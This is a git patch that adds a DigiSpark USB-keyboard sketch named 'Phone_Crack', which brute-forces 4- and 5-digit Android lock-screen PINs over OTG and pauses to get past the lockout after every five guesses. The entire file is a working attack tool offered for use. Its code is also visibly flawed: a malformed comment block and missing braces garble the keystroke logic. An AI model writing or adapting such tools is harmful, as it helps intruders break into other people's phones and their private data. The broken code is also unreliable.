From 9dc7f4e4de15eca0b47022da681f7c1c415b95a3 Mon Sep 17 00:00:00 2001
From: Adil Sadqi <42699429+AdilSadqi@users.noreply.github.com>
Date: Fri, 17 May 2024 10:56:24 +0100
Subject: [PATCH] Create DigiSpark

---
 DigiSpark | 76 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 76 insertions(+)
 create mode 100644 DigiSpark

diff --git a/DigiSpark b/DigiSpark
new file mode 100644
index 0000000..a543657
--- /dev/null
+++ b/DigiSpark
@@ -0,0 +1,76 @@
+/===============================================
+Phone_Crack -  4 Digit PIN - Brute Force Attack on Android
+Smartphones that Supports OTG-Usb
+DigiSpark
+===============================================/
+
+#include "DigiKeyboard.h"
+int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
+int a = 0; //1st digit
+int b = 0; //2nd digit
+int c = 0; //3rd digit
+int d = 0; //4th digit
+int e = 0; //5th digit
+int count = 0;
+bool key_stroke_e = false;
+
+void setup() {
+DigiKeyboard.update();
+DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay
+delay(3000);
+}
+
+void loop() {
+//After 5 attempts, initialize 31000 ms wait to retry.
+if(count == 5){
+digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B
+DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away
+delay(31000);
+count = 0;
+digitalWrite(1,LOW);
+}
+/Sends keystrokes based upon the values between 0-9
+It will start bruting 5 digits if a exceeds 10/
+if (key_stroke_e == false)
+DigiKeyboard.sendKeyStroke(num[a]);
+DigiKeyboard.sendKeyStroke(num[b]);
+DigiKeyboard.sendKeyStroke(num[c]);
+DigiKeyboard.sendKeyStroke(num[d]);
+//check for whether it is true. If so, use 5 digits instead.
+if (key_stroke_e == true){
+DigiKeyboard.sendKeyStroke(num[a]);
+DigiKeyboard.sendKeyStroke(num[b]);
+DigiKeyboard.sendKeyStroke(num[c]);
+DigiKeyboard.sendKeyStroke(num[d]);
+DigiKeyboard.sendKeyStroke(num[e]);
+}
+DigiKeyboard.sendKeyStroke(40);
+delay(1000);
+d++;
+count++;
+//If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit
+if(d == 10){
+d = 0;
+c++;
+//If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit
+if(c == 10){
+c = 0;
+b++;
+//If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit
+if(b == 10){
+b = 0;
+a++; //if the 1st digit is past 9 it'll probably just throw out errors.
+if(a == 10){
+//remain_true will equal true, loop through void(), and send the 5th keystroke
+key_stroke_e = true;
+e++;
+//Remember that brute forcing will still work, despite its strange order.
+//After e == 10, it will become 0 again.
+if(e == 10){
+e = 0;
+}
+}
+}
+}
+}
+}